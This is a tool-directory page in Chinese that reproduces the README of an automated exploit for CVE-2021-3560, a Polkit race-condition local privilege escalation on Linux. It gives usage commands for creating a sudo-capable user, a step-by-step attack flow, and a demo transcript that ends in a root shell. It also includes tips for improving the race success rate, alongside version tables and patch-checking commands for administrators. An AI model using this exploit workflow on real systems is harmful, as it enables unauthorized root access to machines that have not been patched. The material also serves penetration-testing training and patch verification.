Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-3560_Polkit — 针对 CVE-2021-3560 Polkit 本地权限提升漏洞的利用工具 | Kitploit
工具/GitHubGitHub/seimupve/cve-2021-3560_polkit
权限提升漏洞分析漏洞利用渗透测试学习与教育二进制利用实验室与实践
GitHubseimupve/cve-2021-3560_polkit

CVE-2021-3560_Polkit

针对 CVE-2021-3560 Polkit 本地权限提升漏洞的利用工具

查看仓库
310个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-3560 Polkit 本地权限提升

root@kitploit:~
        .--.  .-"     "-.  .--.
      / .. \/  .-. .-.  \/ .. \
     | |  '|  /   Y   \  |'  | |
     | \   \  \ 0 | 0 /  /   / |
      \ '- ,\.-"`` ``"-./, -' /
       `'-' /_   ^ ^   _\ '-'`
        .--'|  \._   _./  |'--.
      /`    \   \ `~` /   /    `\
     /       '._ '---' _.'       \
    /           '~---~'           \
   /                               \

一个针对影响 Linux 系统上 PolicyKit (Polkit) 的 CVE-2021-3560 漏洞的自动化利用工具。

⚠️ 警告:本工具仅用于受控实验环境中的教育和网络安全培训目的。在非您拥有的系统上未经授权使用此漏洞利用程序是违法的。

📋 目录

  • 关于漏洞
  • 受影响系统
  • 功能特性
  • 前提条件
  • 安装
  • 使用方法
  • 工作原理
  • 演示
  • 缓解措施
  • 参考资料

🔍 关于漏洞

CVE-2021-3560 是 PolicyKit (polkit) 中的一个本地竞态条件漏洞,允许非特权用户在易受攻击的 Linux 系统上获得 root 权限。

技术细节

  • CVE ID:CVE-2021-3560
  • 严重性:高 (CVSS 7.8)
  • 类型:竞态条件 / 检查时间使用时间 (TOCTOU)
  • 影响:本地权限提升 (LPE)
  • 披露日期:2021 年 6 月

受影响版本

该漏洞影响 Polkit 的两个分支,其版本编号不同:

上游(官方版本)

  • 受影响:0.113 至 0.118
  • 漏洞引入:提交 bfa5036(版本 0.113)
  • 已修复:0.119 及以上版本

Debian/Ubuntu 分支

  • 受影响:0.105-26 及更高版本(最高至 0.118)
  • 漏洞引入:提交 f81d021(版本 0.105-26)
  • 不受影响:Debian 10 "buster" (0.105-25)

💻 受影响系统

📝 注意:已应用安全补丁的系统(例如 ubuntu1.1、deb10u1)不受影响。

✨ 功能特性

  • ✅ 自动检测多种发行版上的漏洞
  • ✅ 多操作系统支持:Debian、Ubuntu、RHEL、CentOS、Fedora、Arch Linux
  • ✅ 依赖项验证:验证所需工具
  • ✅ 检查模式:无需实际利用即可验证漏洞
  • ✅ 自适应时序:自动测量最佳竞态条件时序
  • ✅ 进度指示器:实时显示进度
  • ✅ 彩色输出:清晰易读的界面
  • ✅ 健壮的错误处理:失败时给出明确提示

📦 前提条件

Python 版本

  • Python 3.6+(兼容 CentOS 8 等旧系统)

系统依赖

该漏洞利用程序需要以下工具(会自动验证):

root@kitploit:~
- dbus-send      # To communicate with D-Bus
- pkexec         # Part of PolicyKit
- id             # To verify user creation
- openssl        # To generate password hash

所需服务

root@kitploit:~
- accountsservice  # Must be installed and active

🚀 安装

root@kitploit:~
# Clone the repository (or download the file)
git clone https://github.com/[your-repo]/CVE-2021-3560_Polkit.git
cd CVE-2021-3560_Polkit

# Make the script executable
chmod +x CVE-2021-3560_Polkit.py

📖 使用方法

模式 1:漏洞检查 (--check)

检查系统是否存在漏洞(不运行漏洞利用程序):

root@kitploit:~
python3 CVE-2021-3560_Polkit.py --check

示例输出:

root@kitploit:~
[*] ============================================================
[*] CVE-2021-3560 Polkit Vulnerability Checker
[*] ============================================================
[*] Detecting operating system...
[+] OS: Ubuntu 20.04
[*] Checking required dependencies...
[+] Found: dbus-send
[+] Found: pkexec
[+] Found: id
[+] Found: openssl
[*] Detecting Polkit version...
[+] Polkit version: 0.105-26ubuntu1
[+] ============================================================
[+] SYSTEM APPEARS VULNERABLE!
[+] ============================================================
[*] Debian/Ubuntu fork detected (vulnerable since 0.105-26)

模式 2:漏洞利用

创建一个特权用户:

root@kitploit:~
python3 CVE-2021-3560_Polkit.py -u <username> -p <password>

示例:

root@kitploit:~
python3 CVE-2021-3560_Polkit.py -u hacker -p Password123!

完整选项

root@kitploit:~
usage: CVE-2021-3560_Polkit.py [-h] [-u USERNAME] [-p PASSWORD] [-c]

options:
  -h, --help            Show help
  -u, --username        Username to create
  -p, --password        Password for new user
  -c, --check           Check vulnerability without exploiting

⚙️ 工作原理

该漏洞利用程序利用 PolicyKit 在处理 D-Bus 请求时的竞态条件。

漏洞原理

  1. D-Bus 请求:用户发送 D-Bus 请求以创建用户
  2. 授权检查:Polkit 验证用户是否拥有权限
  3. 竞态条件:如果在验证期间 D-Bus 连接被关闭,Polkit 会将 UID 视为 0(root)
  4. 用户创建:该用户以提升的权限被创建

漏洞利用步骤

root@kitploit:~
┌─────────────────────────────────────────────────────────┐
│ 1. Optimal timing measurement                          │
│    └─> Test execution to calibrate timing              │
├─────────────────────────────────────────────────────────┤
│ 2. Exploitation: User creation                         │
│    └─> Send D-Bus CreateUser request                   │
│    └─> Kill process at precise moment (race condition) │
│    └─> Verify if user created                          │
├─────────────────────────────────────────────────────────┤
│ 3. Password hash generation                            │
│    └─> Using openssl passwd -6                         │
├─────────────────────────────────────────────────────────┤
│ 4. Exploitation: Password setting                      │
│    └─> Send D-Bus SetPassword request                  │
│    └─> Kill process at precise moment (race condition) │
│    └─> Test login with password                        │
├─────────────────────────────────────────────────────────┤
│ 5. Privilege escalation                                │
│    └─> Login with created account                      │
│    └─> Use sudo if member of sudo group                │
└─────────────────────────────────────────────────────────┘

🎬 演示

典型漏洞利用场景

root@kitploit:~
# 1. Check vulnerability
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py --check
[+] SYSTEM APPEARS VULNERABLE!

# 2. Launch exploit
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py -u pwned -p Pwn3d123!

╔═══════════════════════════════════════════════════════════╗
║       CVE-2021-3560 Polkit Privilege Escalation          ║
╚═══════════════════════════════════════════════════════════╝

[*] Creating user 'pwned' using race condition timing attack...
[*] Measuring command execution time...
[*] Command takes ~0.045s, using 0.023s timing
[*] Attempting race condition exploit, please wait...
[+] User 'pwned' created successfully! UID: 1001
[*] User is member of groups: 1001(pwned) 27(sudo)
[*] Generating password hash...
[+] Password hash generated
[*] Setting password for user 'pwned'...
[+] Password set successfully!

╔═══════════════════════════════════════════════════════════╗
║                  EXPLOIT SUCCESSFUL!                      ║
╚═══════════════════════════════════════════════════════════╝

[+] User 'pwned' created with password 'Pwn3d123!'
[*] User should be member of 'sudo' group for privilege escalation
[*] Switching to user 'pwned'...

# 3. Get root
pwned@vulnerable:~$ sudo su
root@vulnerable:~# id
uid=0(root) gid=0(root) groups=0(root)

🛡️ 缓解措施

针对系统管理员

  1. 更新 PolicyKit:

    root@kitploit:~
    # Debian/Ubuntu
    sudo apt update && sudo apt upgrade policykit-1
    
    # RHEL/CentOS/Fedora
    sudo yum update polkit
    # or
    sudo dnf update polkit
    
  2. 检查版本:

    root@kitploit:~
    pkexec --version
    # Must be >= 0.119 (upstream) or patched
    
  3. 验证安全补丁:

    root@kitploit:~
    # Debian/Ubuntu
    apt-cache policy policykit-1
    
    # RHEL/CentOS/Fedora
    rpm -q --changelog polkit | grep CVE-2021-3560
    

最低安全版本

  • 上游:≥ 0.119
  • Ubuntu 20.04:0.105-26ubuntu1.1 或更高版本
  • Debian 11:0.105-31+deb11u1 或更高版本
  • RHEL 8:polkit-0.115-11.el8_4.1 或更高版本

📚 参考资料

官方文章与文档

  • GitHub Security Lab:利用 Polkit 提权:如何借助一个存在七年的 bug 在 Linux 上获得 root 权限
  • Red Hat CVE:CVE-2021-3560
  • MITRE CVE:CVE-2021-3560
  • NVD NIST:CVE-2021-3560 Detail

TryHackMe 资源

  • TryHackMe 房间:Polkit CVE-2021-3560(练习)

补丁与修复

  • GitLab Polkit:修复提交

📝 重要说明

成功率

该漏洞利用程序依赖于竞态条件,这意味着:

  • ✅ 通常在 1-20 次尝试内成功
  • ⏱️ 时序至关重要(自动校准)
  • 🔄 每步最多 100 次尝试(可配置)
  • 📡 通过 SSH 而非本地控制台可提高成功率

局限性

  • ❌ 在已修补的系统上无法工作
  • ❌ 需要安装并激活 accountsservice
  • ❌ 用户必须能够访问系统 D-Bus
  • ❌ 某些环境(容器、特定虚拟机)可能会阻止该漏洞利用程序

已修补版本(不受影响)

以下版本包含安全补丁,不受影响:

  • 0.105-26ubuntu1.1, 0.105-26ubuntu1.2, 0.105-26ubuntu1.3 等(Ubuntu 已修补)
  • 0.105-26ubuntu2.1, 0.105-26ubuntu2.2 等(Ubuntu 已修补)
  • 0.105-31+deb11u1(Debian 11 已修补)
  • polkit-0.115-11.el8_4.1(RHEL 8 已修补)

注意:如果您的系统显示为易受攻击,但漏洞利用程序因 PermissionDenied 错误而失败,很可能是因为该版本已修补。该漏洞利用程序现在可以正确检测这些已修补的版本。

调试

如果漏洞利用程序失败:

  1. 检查 Python 版本(如果您遇到 TypeError: __init__() got an unexpected keyword argument 'capture_output'):

    root@kitploit:~
    python3 --version
    # Should be 3.6 or higher
    # The script is compatible with Python 3.6+
    
  2. 检查版本是否已修补:

    root@kitploit:~
    pkexec --version
    # If you see ubuntu1.X (where X > 0), it's patched
    
  3. 检查 accountsservice:

    root@kitploit:~
    systemctl status accounts-daemon
    
  4. 检查 D-Bus:

    root@kitploit:~
    dbus-send --system --dest=org.freedesktop.DBus --type=method_call --print-reply /org/freedesktop/DBus org.freedesktop.DBus.ListNames
    
  5. 通过 SSH 启动,而不是本地控制台

  6. 通过修改代码中的 optimal_timing 来调整时序

👤 作者

Seimu

📄 许可证

本项目仅用于教育目的。将本代码用于未经授权的活动是严格禁止的,并可能导致法律诉讼。


⚠️ 免责声明:作者不对本工具的任何滥用负责。请仅在授权的测试环境中使用。

下载工具
DistributionPolkit VersionVulnerable?
Ubuntu 20.040.105-26ubuntu1✅ 是
Ubuntu 18.040.105-20❌ 否
Debian testing "bullseye"0.105-31+✅ 是
Debian 10 "buster"0.105-25❌ 否
RHEL 80.115-11+✅ 是
RHEL 7< 0.113❌ 否
Fedora 21+0.113+✅ 是
Fedora 20 及更早版本< 0.113❌ 否